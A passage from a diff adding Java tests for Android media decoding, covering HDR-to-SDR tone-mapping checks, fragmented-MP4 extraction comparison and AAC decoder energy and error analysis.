+                CountDownLatch latch = new CountDownLatch(1);
+                extractor.seekTo(0, MediaExtractor.SEEK_TO_PREVIOUS_SYNC);
+
+                decoder = MediaCodec.createByCodecName(name);
+                decoder.setCallback(new MediaCodec.Callback() {
+                    boolean mInputEOS;
+                    boolean mOutputReceived;
+                    int mInputCount;
+                    int mOutputCount;
+
+                    @Override
+                    public void onOutputBufferAvailable(
+                            MediaCodec codec, int index, BufferInfo info) {
+                        if (mOutputReceived && !DEBUG_HDR_TO_SDR_PLAY_VIDEO) {
+                            return;
+                        }
+
+                        MediaFormat bufferFormat = codec.getOutputFormat(index);
+                        Log.i(TAG, "got output buffer: format " + bufferFormat);
+
+                        assertEquals("unexpected color transfer for the buffer",
+                                MediaFormat.COLOR_TRANSFER_SDR_VIDEO,
+                                bufferFormat.getInteger(MediaFormat.KEY_COLOR_TRANSFER, 0));
+                        ByteBuffer staticInfo = bufferFormat.getByteBuffer(
+                                MediaFormat.KEY_HDR_STATIC_INFO, null);
+                        if (staticInfo != null) {
+                            assertTrue(
+                                    "Buffer should not have a valid static HDR metadata present",
+                                    Arrays.equals(loadByteArrayFromString(INVALID_HDR_STATIC_INFO),
+                                                  staticInfo.array()));
+                        }
+                        ByteBuffer hdr10PlusInfo = bufferFormat.getByteBuffer(
+                                MediaFormat.KEY_HDR10_PLUS_INFO, null);
+                        if (hdr10PlusInfo != null) {
+                            assertEquals(
+                                    "Buffer should not have a valid dynamic HDR metadata present",
+                                    0, hdr10PlusInfo.remaining());
+                        }
+
+                        if (!dynamic) {
+                            codec.releaseOutputBuffer(index,  true);
+
+                            mOutputReceived = true;
+                            latch.countDown();
+                        } else {
+                            codec.releaseOutputBuffer(index,  true);
+
+                            mOutputCount++;
+                            if (mOutputCount >= dynamicInfo.length) {
+                                mOutputReceived = true;
+                                latch.countDown();
+                            }
+                        }
+                    }
+
+                    @Override
+                    public void onInputBufferAvailable(MediaCodec codec, int index) {
+                        // keep queuing until input EOS, or first output buffer received.
+                        if (mInputEOS || (mOutputReceived && !DEBUG_HDR_TO_SDR_PLAY_VIDEO)) {
+                            return;
+                        }
+
+                        ByteBuffer inputBuffer = codec.getInputBuffer(index);
+
+                        if (finalExtractor.getSampleTrackIndex() == -1) {
+                            codec.queueInputBuffer(
+                                    index, 0, 0, 0, MediaCodec.BUFFER_FLAG_END_OF_STREAM);
+                            mInputEOS = true;
+                        } else {
+                            int size = finalExtractor.readSampleData(inputBuffer, 0);
+                            long timestamp = finalExtractor.getSampleTime();
+                            finalExtractor.advance();
+
+                            if (dynamic && metadataInContainer) {
+                                final Bundle params = new Bundle();
+                                // TODO: extractor currently doesn't extract the dynamic metadata.
+                                // Send in the test pattern for now to test the metadata propagation.
+                                byte[] info = loadByteArrayFromString(dynamicInfo[mInputCount]);
+                                params.putByteArray(MediaFormat.KEY_HDR10_PLUS_INFO, info);
+                                codec.setParameters(params);
+                                mInputCount++;
+                                if (mInputCount >= dynamicInfo.length) {
+                                    mInputEOS = true;
+                                }
+                            }
+                            codec.queueInputBuffer(index, 0, size, timestamp, 0);
+                        }
+                    }
+
+                    @Override
+                    public void onError(MediaCodec codec, MediaCodec.CodecException e) {
+                        Log.e(TAG, "got codec exception", e);
+                    }
+
+                    @Override
+                    public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
+                        Log.i(TAG, "got output format: " + format);
+                        ByteBuffer staticInfo = format.getByteBuffer(
+                                MediaFormat.KEY_HDR_STATIC_INFO, null);
+                        if (staticInfo != null) {
+                            assertTrue(
+                                    "output format should not have a valid " +
+                                    "static HDR metadata present",
+                                    Arrays.equals(loadByteArrayFromString(INVALID_HDR_STATIC_INFO),
+                                                  staticInfo.array()));
+                        }
+                    }
+                }, new Handler(handlerThread.getLooper()));
+                decoder.configure(format, surface, null/*crypto*/, 0/*flags*/);
+                int transferRequest = decoder.getInputFormat().getInteger(
+                        MediaFormat.KEY_COLOR_TRANSFER_REQUEST, 0);
+                if (transferRequest == 0) {
+                    Log.i(TAG, name + " does not support HDR to SDR tone mapping");
+                    decoder.release();
+                    continue;
+                }
+                assertEquals("unexpected color transfer request value from input format",
+                        MediaFormat.COLOR_TRANSFER_SDR_VIDEO, transferRequest);
+                decoder.start();
+                try {
+                    assertTrue(latch.await(2000, TimeUnit.MILLISECONDS));
+                } catch (InterruptedException e) {
+                    fail("playback interrupted");
+                }
+                if (DEBUG_HDR_TO_SDR_PLAY_VIDEO) {
+                    Thread.sleep(5000);
+                }
+                decoder.stop();
+                decoder.release();
+            }
+        } finally {
+            if (decoder != null) {
+                decoder.release();
+            }
+            if (extractor != null) {
+                extractor.release();
+            }
+            handlerThread.getLooper().quit();
+            handlerThread.join();
+        }
+    }
+
+    @Test
+    public void testDecodeFragmented() throws Exception {
+        testDecodeFragmented("video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz.mp4",
+                "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz_fragmented.mp4");
+        testDecodeFragmented("video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz.mp4",
+                "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz_dash.mp4");
+    }
+
+    private void testDecodeFragmented(final String reference, final String teststream)
+            throws Exception {
+        Preconditions.assertTestFileExists(mInpPrefix + reference);
+        Preconditions.assertTestFileExists(mInpPrefix + teststream);
+        try {
+            MediaExtractor ex1 = new MediaExtractor();
+            ex1.setDataSource(mInpPrefix + reference);
+            MediaExtractor ex2 = new MediaExtractor();
+            ex2.setDataSource(mInpPrefix + teststream);
+
+            assertEquals("different track count", ex1.getTrackCount(), ex2.getTrackCount());
+
+            ByteBuffer buf1 = ByteBuffer.allocate(1024*1024);
+            ByteBuffer buf2 = ByteBuffer.allocate(1024*1024);
+
+            for (int i = 0; i < ex1.getTrackCount(); i++) {
+                // note: this assumes the tracks are reported in the order in which they appear
+                // in the file.
+                ex1.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
+                ex1.selectTrack(i);
+                ex2.seekTo(0, MediaExtractor.SEEK_TO_NEXT_SYNC);
+                ex2.selectTrack(i);
+
+                while(true) {
+                    int n1 = ex1.readSampleData(buf1, 0);
+                    int n2 = ex2.readSampleData(buf2, 0);
+                    assertEquals("different buffer size on track " + i, n1, n2);
+
+                    if (n1 < 0) {
+                        break;
+                    }
+                    // see bug 13008204
+                    buf1.limit(n1);
+                    buf2.limit(n2);
+                    buf1.rewind();
+                    buf2.rewind();
+
+                    assertEquals("limit does not match return value on track " + i,
+                            n1, buf1.limit());
+                    assertEquals("limit does not match return value on track " + i,
+                            n2, buf2.limit());
+
+                    assertEquals("buffer data did not match on track " + i, buf1, buf2);
+
+                    ex1.advance();
+                    ex2.advance();
+                }
+                ex1.unselectTrack(i);
+                ex2.unselectTrack(i);
+            }
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+    }
+
+    /**
+     * Verify correct decoding of MPEG-4 AAC-LC mono and stereo streams
+     */
+    @Test
+    public void testDecodeAacLcM4a() throws Exception {
+        // mono
+        decodeNtest("sinesweep1_1ch_8khz_aot2_mp4.m4a", 40.f);
+        decodeNtest("sinesweep1_1ch_11khz_aot2_mp4.m4a", 40.f);
+        decodeNtest("sinesweep1_1ch_12khz_aot2_mp4.m4a", 40.f);
+        decodeNtest("sinesweep1_1ch_16khz_aot2_mp4.m4a", 40.f);
+        decodeNtest("sinesweep1_1ch_22khz_aot2_mp4.m4a", 40.f);
+        decodeNtest("sinesweep1_1ch_24khz_aot2_mp4.m4a", 40.f);
+        decodeNtest("sinesweep1_1ch_32khz_aot2_mp4.m4a", 40.f);
+        decodeNtest("sinesweep1_1ch_44khz_aot2_mp4.m4a", 40.f);
+        decodeNtest("sinesweep1_1ch_48khz_aot2_mp4.m4a", 40.f);
+        // stereo
+        decodeNtest("sinesweep_2ch_8khz_aot2_mp4.m4a", 40.f);
+        decodeNtest("sinesweep_2ch_11khz_aot2_mp4.m4a", 40.f);
+        decodeNtest("sinesweep_2ch_12khz_aot2_mp4.m4a", 40.f);
+        decodeNtest("sinesweep_2ch_16khz_aot2_mp4.m4a", 40.f);
+        decodeNtest("sinesweep_2ch_22khz_aot2_mp4.m4a", 40.f);
+        decodeNtest("sinesweep_2ch_24khz_aot2_mp4.m4a", 40.f);
+        decodeNtest("sinesweep_2ch_32khz_aot2_mp4.m4a", 40.f);
+        decodeNtest("sinesweep_2ch_44khz_aot2_mp4.m4a", 40.f);
+        decodeNtest("sinesweep_2ch_48khz_aot2_mp4.m4a", 40.f);
+    }
+
+    /**
+     * Verify correct decoding of MPEG-4 AAC-LC 5.0 and 5.1 channel streams
+     */
+    @Test
+    public void testDecodeAacLcMcM4a() throws Exception {
+        for (String codecName : codecsFor("noise_6ch_48khz_aot2_mp4.m4a")) {
+            AudioParameter decParams = new AudioParameter();
+            short[] decSamples = decodeToMemory(codecName, decParams,
+                    "noise_6ch_48khz_aot2_mp4.m4a", RESET_MODE_NONE,
+                    CONFIG_MODE_NONE, -1, null);
+            checkEnergy(decSamples, decParams, 6);
+            decParams.reset();
+
+            decSamples = decodeToMemory(codecName, decParams, "noise_5ch_44khz_aot2_mp4.m4a",
+                    RESET_MODE_NONE, CONFIG_MODE_NONE, -1, null);
+            checkEnergy(decSamples, decParams, 5);
+            decParams.reset();
+        }
+    }
+
+    /**
+     * Verify correct decoding of MPEG-4 HE-AAC mono and stereo streams
+     */
+    @Test
+    public void testDecodeHeAacM4a() throws Exception {
+        Object [][] samples = {
+                //  {resource, numChannels},
+                {"noise_1ch_24khz_aot5_dr_sbr_sig1_mp4.m4a", 1},
+                {"noise_1ch_24khz_aot5_ds_sbr_sig1_mp4.m4a", 1},
+                {"noise_1ch_32khz_aot5_dr_sbr_sig2_mp4.m4a", 1},
+                {"noise_1ch_44khz_aot5_dr_sbr_sig0_mp4.m4a", 1},
+                {"noise_1ch_44khz_aot5_ds_sbr_sig2_mp4.m4a", 1},
+                {"noise_2ch_24khz_aot5_dr_sbr_sig2_mp4.m4a", 2},
+                {"noise_2ch_32khz_aot5_ds_sbr_sig2_mp4.m4a", 2},
+                {"noise_2ch_48khz_aot5_dr_sbr_sig1_mp4.m4a", 2},
+                {"noise_2ch_48khz_aot5_ds_sbr_sig1_mp4.m4a", 2},
+        };
+
+        for (Object [] sample: samples) {
+            for (String codecName : codecsFor((String)sample[0], CODEC_DEFAULT)) {
+                AudioParameter decParams = new AudioParameter();
+                short[] decSamples = decodeToMemory(codecName, decParams,
+                        (String)sample[0] /* resource */, RESET_MODE_NONE, CONFIG_MODE_NONE,
+                        -1, null);
+                checkEnergy(decSamples, decParams, (Integer)sample[1] /* number of channels */);
+                decParams.reset();
+            }
+        }
+    }
+
+    /**
+     * Verify correct decoding of MPEG-4 HE-AAC 5.0 and 5.1 channel streams
+     */
+    @Test
+    public void testDecodeHeAacMcM4a() throws Exception {
+        Object [][] samples = {
+                //  {resource, numChannels},
+                {"noise_5ch_48khz_aot5_dr_sbr_sig1_mp4.m4a", 5},
+                {"noise_6ch_44khz_aot5_dr_sbr_sig2_mp4.m4a", 6},
+        };
+        for (Object [] sample: samples) {
+            for (String codecName : codecsFor((String)sample[0] /* resource */, CODEC_DEFAULT)) {
+                AudioParameter decParams = new AudioParameter();
+                short[] decSamples = decodeToMemory(codecName, decParams,
+                        (String)sample[0] /* resource */, RESET_MODE_NONE, CONFIG_MODE_NONE,
+                        -1, null);
+                checkEnergy(decSamples, decParams, (Integer)sample[1] /* number of channels */);
+                decParams.reset();
+            }
+        }
+    }
+
+    /**
+     * Verify correct decoding of MPEG-4 HE-AAC v2 stereo streams
+     */
+    @Test
+    public void testDecodeHeAacV2M4a() throws Exception {
+        String [] samples = {
+                "noise_2ch_24khz_aot29_dr_sbr_sig0_mp4.m4a",
+                "noise_2ch_44khz_aot29_dr_sbr_sig1_mp4.m4a",
+                "noise_2ch_48khz_aot29_dr_sbr_sig2_mp4.m4a"
+        };
+        for (String sample: samples) {
+            for (String codecName : codecsFor(sample, CODEC_DEFAULT)) {
+                AudioParameter decParams = new AudioParameter();
+                short[] decSamples = decodeToMemory(codecName, decParams, sample,
+                        RESET_MODE_NONE, CONFIG_MODE_NONE, -1, null);
+                checkEnergy(decSamples, decParams, 2);
+            }
+        }
+    }
+
+    /**
+     * Verify correct decoding of MPEG-4 AAC-ELD mono and stereo streams
+     */
+    @Test
+    public void testDecodeAacEldM4a() throws Exception {
+        // mono
+        decodeNtest("sinesweep1_1ch_16khz_aot39_fl480_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep1_1ch_22khz_aot39_fl512_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep1_1ch_24khz_aot39_fl480_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep1_1ch_32khz_aot39_fl512_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep1_1ch_44khz_aot39_fl480_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep1_1ch_48khz_aot39_fl512_mp4.m4a", 40.f, CODEC_DEFAULT);
+
+        // stereo
+        decodeNtest("sinesweep_2ch_16khz_aot39_fl512_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep_2ch_22khz_aot39_fl480_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep_2ch_24khz_aot39_fl512_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep_2ch_32khz_aot39_fl480_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep_2ch_44khz_aot39_fl512_mp4.m4a", 40.f, CODEC_DEFAULT);
+        decodeNtest("sinesweep_2ch_48khz_aot39_fl480_mp4.m4a", 40.f, CODEC_DEFAULT);
+
+        AudioParameter decParams = new AudioParameter();
+
+        Object [][] samples = {
+                //  {resource, numChannels},
+                {"noise_1ch_16khz_aot39_ds_sbr_fl512_mp4.m4a", 1},
+                {"noise_1ch_24khz_aot39_ds_sbr_fl512_mp4.m4a", 1},
+                {"noise_1ch_32khz_aot39_dr_sbr_fl480_mp4.m4a", 1},
+                {"noise_1ch_44khz_aot39_ds_sbr_fl512_mp4.m4a", 1},
+                {"noise_1ch_44khz_aot39_ds_sbr_fl512_mp4.m4a", 1},
+                {"noise_1ch_48khz_aot39_dr_sbr_fl480_mp4.m4a", 1},
+                {"noise_2ch_22khz_aot39_ds_sbr_fl512_mp4.m4a", 2},
+                {"noise_2ch_32khz_aot39_ds_sbr_fl512_mp4.m4a", 2},
+                {"noise_2ch_44khz_aot39_dr_sbr_fl480_mp4.m4a", 2},
+                {"noise_2ch_48khz_aot39_ds_sbr_fl512_mp4.m4a", 2},
+        };
+        for (Object [] sample: samples) {
+            for (String codecName : codecsFor((String)sample[0], CODEC_DEFAULT)) {
+                short[] decSamples = decodeToMemory(codecName, decParams,
+                        (String)sample[0] /* resource */, RESET_MODE_NONE, CONFIG_MODE_NONE,
+                        -1, null);
+                checkEnergy(decSamples, decParams, (Integer)sample[1] /* number of channels */);
+                decParams.reset();
+            }
+        }
+    }
+
+    /**
+     * Perform a segmented energy analysis on given audio signal samples and run several tests on
+     * the energy values.
+     *
+     * The main purpose is to verify whether an AAC decoder implementation applies Spectral Band
+     * Replication (SBR) and Parametric Stereo (PS) correctly. Both tools are inherent parts to the
+     * MPEG-4 HE-AAC and HE-AAC v2 audio codecs.
+     *
+     * In addition, this test can verify the correct decoding of multi-channel (e.g. 5.1 channel)
+     * streams or the creation of a mixdown signal.
+     *
+     * Note: This test procedure is not an MPEG Conformance Test and can not serve as a replacement.
+     *
+     * @param decSamples the decoded audio samples to be tested
+     * @param decParams the audio parameters of the given audio samples (decSamples)
+     * @param encNch the encoded number of audio channels (number of channels of the original
+     *               input)
+     * @param nrgRatioThresh threshold to classify the energy ratios ]0.0, 1.0[
+     * @throws RuntimeException
+     */
+    protected void checkEnergy(short[] decSamples, AudioParameter decParams, int encNch,
+                             float nrgRatioThresh) throws RuntimeException
+    {
+        final int nSegPerBlk = 4;                          // the number of segments per block
+        final int nCh = decParams.getNumChannels();        // the number of input channels
+        final int nBlkSmp = decParams.getSamplingRate();   // length of one (LB/HB) block [samples]
+        final int nSegSmp = nBlkSmp / nSegPerBlk;          // length of one segment [samples]
+        final int smplPerChan = decSamples.length / nCh;   // actual # samples per channel (total)
+
+        final int nSegSmpTot = nSegSmp * nCh;              // actual # samples per segment (all ch)
+        final int nSegChOffst = 2 * nSegPerBlk;            // signal offset between chans [segments]
+        final int procNch = Math.min(nCh, encNch);         // the number of channels to be analyzed
+        if (encNch > 4) {
+            assertTrue(String.format("multichannel content (%dch) was downmixed (%dch)",
+                    encNch, nCh), procNch > 4);
+        }
+        assertTrue(String.format("got less channels(%d) than encoded (%d)", nCh, encNch),
+                nCh >= encNch);
+
+        final int encEffNch = (encNch > 5) ? encNch-1 : encNch;  // all original configs with more
+                                                           // ... than five channel have an LFE */
+        final int expSmplPerChan = Math.max(encEffNch, 2) * nSegChOffst * nSegSmp;
+        final boolean isDmx = nCh < encNch;                // flag telling that input is dmx signal
+        int effProcNch = procNch;                          // the num analyzed channels with signal
+
+        assertTrue("got less input samples than expected", smplPerChan >= expSmplPerChan);
+
+        // get the signal offset by counting zero samples at the very beginning (over all channels)
+        final int zeroSigThresh = 1;                     // sample value threshold for signal search
+        int signalStart = smplPerChan;                   // receives the number of samples that
+                                                         // ... are in front of the actual signal
+        int noiseStart = signalStart;                    // receives the number of null samples
+                                                         // ... (per chan) at the very beginning
+        for (int smpl = 0; smpl < decSamples.length; smpl++) {
+            int value = Math.abs(decSamples[smpl]);
+            if (value > 0 && noiseStart == signalStart) {
+                noiseStart = smpl / nCh;                   // store start of prepended noise
+            }                                              // ... (can be same as signalStart)
+            if (value > zeroSigThresh) {
+                signalStart = smpl / nCh;                  // store signal start offset [samples]
+                break;
+            }
+        }
+        signalStart = (signalStart > noiseStart+1) ? signalStart : noiseStart;
+        assertTrue ("no signal found in any channel!", signalStart < smplPerChan);
+        final int totSeg = (smplPerChan-signalStart) / nSegSmp; // max num seg that fit into signal
+        final int totSmp = nSegSmp * totSeg;               // max num relevant samples (per channel)
+        assertTrue("no segments left to test after signal search", totSeg > 0);
+
+        // get the energies and the channel offsets by searching for the first segment above the
+        //  energy threshold
+        final double zeroMaxNrgRatio = 0.001f;             // ratio of zeroNrgThresh to the max nrg
+        double zeroNrgThresh = nSegSmp * nSegSmp;          // threshold to classify segment energies
+        double totMaxNrg = 0.0f;                           // will store the max seg nrg over all ch
+        double[][] nrg = new double[procNch][totSeg];      // array receiving the segment energies
+        int[] offset = new int[procNch];                   // array for channel offsets
+        boolean[] sigSeg = new boolean[totSeg];            // array receiving the segment ...
+                                                           // ... energy status over all channels
+        for (int ch = 0; ch < procNch; ch++) {
+            offset[ch] = -1;
+            for (int seg = 0; seg < totSeg; seg++) {
+                final int smpStart = (signalStart * nCh) + (seg * nSegSmpTot) + ch;
+                final int smpStop = smpStart + nSegSmpTot;
+                for (int smpl = smpStart; smpl < smpStop; smpl += nCh) {
+                    nrg[ch][seg] += decSamples[smpl] * decSamples[smpl];  // accumulate segment nrg
+                }
+                if (nrg[ch][seg] > zeroNrgThresh && offset[ch] < 0) { // store 1st segment (index)
+                    offset[ch] = seg / nSegChOffst;        // ... per ch which has energy above the
+                }                                          // ... threshold to get the ch offsets
+                if (nrg[ch][seg] > totMaxNrg) {
+                    totMaxNrg = nrg[ch][seg];              // store the max segment nrg over all ch
+                }
+                sigSeg[seg] |= nrg[ch][seg] > zeroNrgThresh;  // store whether the channel has
+                                                           // ... energy in this segment
+            }
+            if (offset[ch] < 0) {                          // if one channel has no signal it is
+                effProcNch -= 1;                           // ... most probably the LFE
+                offset[ch] = effProcNch;                   // the LFE is no effective channel
+            }
+            if (ch == 0) {                                 // recalculate the zero signal threshold
+                zeroNrgThresh = zeroMaxNrgRatio * totMaxNrg; // ... based on the 1st channels max
+            }                                              // ... energy for all subsequent checks
+        }
+        // check the channel mapping
+        assertTrue("more than one LFE detected", effProcNch >= procNch - 1);
+        assertTrue(String.format("less samples decoded than expected: %d < %d",
+                decSamples.length-(signalStart * nCh), totSmp * effProcNch),
+                decSamples.length-(signalStart * nCh) >= totSmp * effProcNch);
+        if (procNch >= 5) {                                // for multi-channel signals the only
+            final int[] frontChMap1 = {2, 0, 1};           // valid front channel orders are L, R, C
+            final int[] frontChMap2 = {0, 1, 2};           // or C, L, R (L=left, R=right, C=center)
+            if ( !(Arrays.equals(Arrays.copyOfRange(offset, 0, 3), frontChMap1)
+                    || Arrays.equals(Arrays.copyOfRange(offset, 0, 3), frontChMap2)) ) {
+                fail("wrong front channel mapping");
+            }
+        }
+        // check whether every channel occurs exactly once
+        int[] chMap = new int[nCh];                        // mapping array to sort channels
+        for (int ch = 0; ch < effProcNch; ch++) {
+            int occurred = 0;
+            for (int idx = 0; idx < procNch; idx++) {
+                if (offset[idx] == ch) {
+                    occurred += 1;
+                    chMap[ch] = idx;                       // create mapping table to address chans
+                }                                          // ... from front to back
+            }                                              // the LFE must be last
+            assertTrue(String.format("channel %d occurs %d times in the mapping", ch, occurred),
+                    occurred == 1);
+        }
+
+        // go over all segment energies in all channels and check them
+        double refMinNrg = zeroNrgThresh;                  // reference min energy for the 1st ch;
+                                                           // others will be compared against 1st
+        for (int ch = 0; ch < procNch; ch++) {
+            int idx = chMap[ch];                           // resolve channel mapping
+            final int ofst = offset[idx] * nSegChOffst;    // signal offset [segments]
+            if (ch < effProcNch && ofst < totSeg) {
+                int nrgSegEnd;                             // the last segment that has energy
+                int nrgSeg;                                // the number of segments with energy
+                if ((encNch <= 2) && (ch == 0)) {          // the first channel of a mono or ...
+                    nrgSeg = totSeg;                       // stereo signal has full signal ...
+                } else {                                   // all others have one LB + one HB block
+                    nrgSeg = Math.min(totSeg, (2 * nSegPerBlk) + ofst) - ofst;
+                }
+                nrgSegEnd = ofst + nrgSeg;
+                // find min and max energy of all segments that should have signal
+                double minNrg = nrg[idx][ofst];            // channels minimum segment energy
+                double maxNrg = nrg[idx][ofst];            // channels maximum segment energy
+                for (int seg = ofst+1; seg < nrgSegEnd; seg++) {          // values of 1st segment
+                    if (nrg[idx][seg] < minNrg) minNrg = nrg[idx][seg];   // ... already assigned
+                    if (nrg[idx][seg] > maxNrg) maxNrg = nrg[idx][seg];
+                }
+                assertTrue(String.format("max energy of channel %d is zero", ch),
+                        maxNrg > 0.0f);
+                assertTrue(String.format("channel %d has not enough energy", ch),
+                        minNrg >= refMinNrg);              // check the channels minimum energy
+                if (ch == 0) {                             // use 85% of 1st channels min energy as
+                    refMinNrg = minNrg * 0.85f;            // ... reference the other chs must meet
+                } else if (isDmx && (ch == 1)) {           // in case of mixdown signal the energy
+                    refMinNrg *= 0.50f;                    // ... can be lower depending on the
+                }                                          // ... downmix equation
+                // calculate and check the energy ratio
+                final double nrgRatio = minNrg / maxNrg;
+                assertTrue(String.format("energy ratio of channel %d below threshold", ch),
+                        nrgRatio >= nrgRatioThresh);
+                if (!isDmx) {
+                    if (nrgSegEnd < totSeg) {
+                        // consider that some noise can extend into the subsequent segment
+                        // allow this to be at max 20% of the channels minimum energy
+                        assertTrue(String.format("min energy after noise above threshold (%.2f)",
+                                nrg[idx][nrgSegEnd]),
+                                nrg[idx][nrgSegEnd] < minNrg * 0.20f);
+                        nrgSegEnd += 1;
+                    }
+                } else {                                   // ignore all subsequent segments
+                    nrgSegEnd = totSeg;                    // ... in case of a mixdown signal
+                }
+                // zero-out the verified energies to simplify the subsequent check
+                for (int seg = ofst; seg < nrgSegEnd; seg++) nrg[idx][seg] = 0.0f;
+            }
+            // check zero signal parts
+            for (int seg = 0; seg < totSeg; seg++) {
+                assertTrue(String.format("segment %d in channel %d has signal where should " +
+                        "be none (%.2f)", seg, ch, nrg[idx][seg]), nrg[idx][seg] < zeroNrgThresh);
+            }
+        }
+        // test whether each segment has energy in at least one channel
+        for (int seg = 0; seg < totSeg; seg++) {
+            assertTrue(String.format("no channel has energy in segment %d", seg), sigSeg[seg]);
+        }
+    }
+
+    private void checkEnergy(short[] decSamples, AudioParameter decParams, int encNch)
+            throws RuntimeException {
+        checkEnergy(decSamples, decParams, encNch, 0.50f);  // default energy ratio threshold: 0.50
+    }
+
+    /**
+     * Calculate the RMS of the difference signal between a given signal and the reference samples
+     * located in mMasterBuffer.
+     * @param signal the decoded samples to test
+     * @return RMS of error signal
+     * @throws RuntimeException
+     */
+    private double getRmsError(short[] signal) throws RuntimeException {
+        long totalErrorSquared = 0;
+        int stride = mMasterBuffer.length / signal.length;
+        assertEquals("wrong data size", mMasterBuffer.length, signal.length * stride);
+
+        for (int i = 0; i < signal.length; i++) {
+            short sample = signal[i];
+            short mastersample = mMasterBuffer[i * stride];
+            int d = sample - mastersample;
+            totalErrorSquared += d * d;
+        }
+        long avgErrorSquared = (totalErrorSquared / signal.length);
+        return Math.sqrt(avgErrorSquared);
+    }
+
+    /**
+     * Decode a given input stream and compare the output against the reference signal. The RMS of
+     * the error signal must be below the given threshold (maxerror).
+     * Important note about the test signals: this method expects test signals to have been
+     *   "stretched" relative to the reference signal. The reference, sinesweepraw, is 3s long at
+     *   44100Hz. For instance for comparing this reference to a test signal at 8000Hz, the test
+     *   signal needs to be 44100/8000 = 5.5125 times longer, containing frequencies 5.5125
+     *   times lower than the reference.
+     * @param testinput the file to decode
+     * @param maxerror  the maximum allowed root mean squared error
+     * @throws Exception
+     */
+    private void decodeNtest(final String testinput, float maxerror) throws Exception {
+        decodeNtest(testinput, maxerror, CODEC_ALL);
+    }
+
+    private void decodeNtest(final String testinput, float maxerror, int codecSupportMode)
+            throws Exception {
+        String localTag = TAG + "#decodeNtest";
+
+        for (String codecName: codecsFor(testinput, codecSupportMode)) {
+            AudioParameter decParams = new AudioParameter();
+            short[] decoded = decodeToMemory(codecName, decParams, testinput,
+                    RESET_MODE_NONE, CONFIG_MODE_NONE, -1, null);
+            double rmse = getRmsError(decoded);
+
+            assertTrue(codecName + ": decoding error too big: " + rmse, rmse <= maxerror);
+            Log.v(localTag, String.format("rms = %f (max = %f)", rmse, maxerror));
+        }
+    }
+
+    private void monoTest(final String res, int expectedLength) throws Exception {
+        for (String codecName: codecsFor(res)) {
+            short [] mono = decodeToMemory(codecName, res,
+                    RESET_MODE_NONE, CONFIG_MODE_NONE, -1, null);
+            if (mono.length == expectedLength) {
+                // expected
+            } else if (mono.length == expectedLength * 2) {
+                // the decoder output 2 channels instead of 1, check that the left and right channel
+                // are identical
+                for (int i = 0; i < mono.length; i += 2) {
+                    assertEquals(codecName + ": mismatched samples at " + i, mono[i], mono[i+1]);
+                }
+            } else {
+                fail(codecName + ": wrong number of samples: " + mono.length);
+            }
+
+            short [] mono2 = decodeToMemory(codecName, res,
+                    RESET_MODE_RECONFIGURE, CONFIG_MODE_NONE, -1, null);
+
+            assertEquals(codecName + ": count different after reconfigure: ",
+                    mono.length, mono2.length);
+            for (int i = 0; i < mono.length; i++) {
+                assertEquals(codecName + ": samples at " + i + " don't match", mono[i], mono2[i]);
+            }
+
+            short [] mono3 = decodeToMemory(codecName, res,
+                    RESET_MODE_FLUSH, CONFIG_MODE_NONE, -1, null);
+
+            assertEquals(codecName + ": count different after flush: ", mono.length, mono3.length);
+            for (int i = 0; i < mono.length; i++) {
+                assertEquals(codecName + ": samples at " + i + " don't match", mono[i], mono3[i]);
+            }
+        }
+    }
+
+    protected static List<String> codecsFor(String resource) throws IOException {
+        return codecsFor(resource, CODEC_ALL);
+    }
+
+    protected static List<String> codecsFor(String resource, int codecSupportMode)
+            throws IOException {
+        MediaExtractor ex = new MediaExtractor();
+        AssetFileDescriptor fd = getAssetFileDescriptorFor(resource);
+        try {
+            ex.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+        } finally {
+            fd.close();
+        }
+        MediaCodecInfo[] codecInfos = new MediaCodecList(
+                MediaCodecList.REGULAR_CODECS).getCodecInfos();
+        ArrayList<String> matchingCodecs = new ArrayList<String>();
+        MediaFormat format = ex.getTrackFormat(0);
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        for (MediaCodecInfo info: codecInfos) {
+            if (info.isEncoder()) {
+                continue;
+            }
+            try {
+                MediaCodecInfo.CodecCapabilities caps = info.getCapabilitiesForType(mime);
+                if (caps != null) {
+                    if (codecSupportMode == CODEC_ALL) {
+                        matchingCodecs.add(info.getName());
+                    } else if (codecSupportMode == CODEC_DEFAULT) {
+                        if (caps.isFormatSupported(format)) {
+                            matchingCodecs.add(info.getName());
+                        } else if (isDefaultCodec(info.getName(), mime)) {
+                            fail(info.getName() + " which is a default decoder for mime " + mime
+                                   + ", does not declare support for " + format.toString());
+                        }
+                    } else {
+                        fail("Unhandled codec support mode " + codecSupportMode);
+                    }
+                }
+            } catch (IllegalArgumentException e) {
+                // type is not supported
+            }
+        }
+        assertTrue("no matching codecs found", matchingCodecs.size() != 0);
+        return matchingCodecs;
+    }
+
+    /**
+     * @param testinput the file to decode
+     * @param maxerror the maximum allowed root mean squared error
+     * @throws IOException
+     */
+    private void decode(final String testinput, float maxerror) throws IOException {
+
+        for (String codecName: codecsFor(testinput)) {
+            short[] decoded = decodeToMemory(codecName, testinput,
+                    RESET_MODE_NONE, CONFIG_MODE_NONE, -1, null);
+
+            assertEquals(codecName + ": wrong data size", mMasterBuffer.length, decoded.length);
+
+            double rmse = getRmsError(decoded);
+
+            assertTrue(codecName + ": decoding error too big: " + rmse, rmse <= maxerror);
+
+            int[] resetModes = new int[] { RESET_MODE_NONE, RESET_MODE_RECONFIGURE,
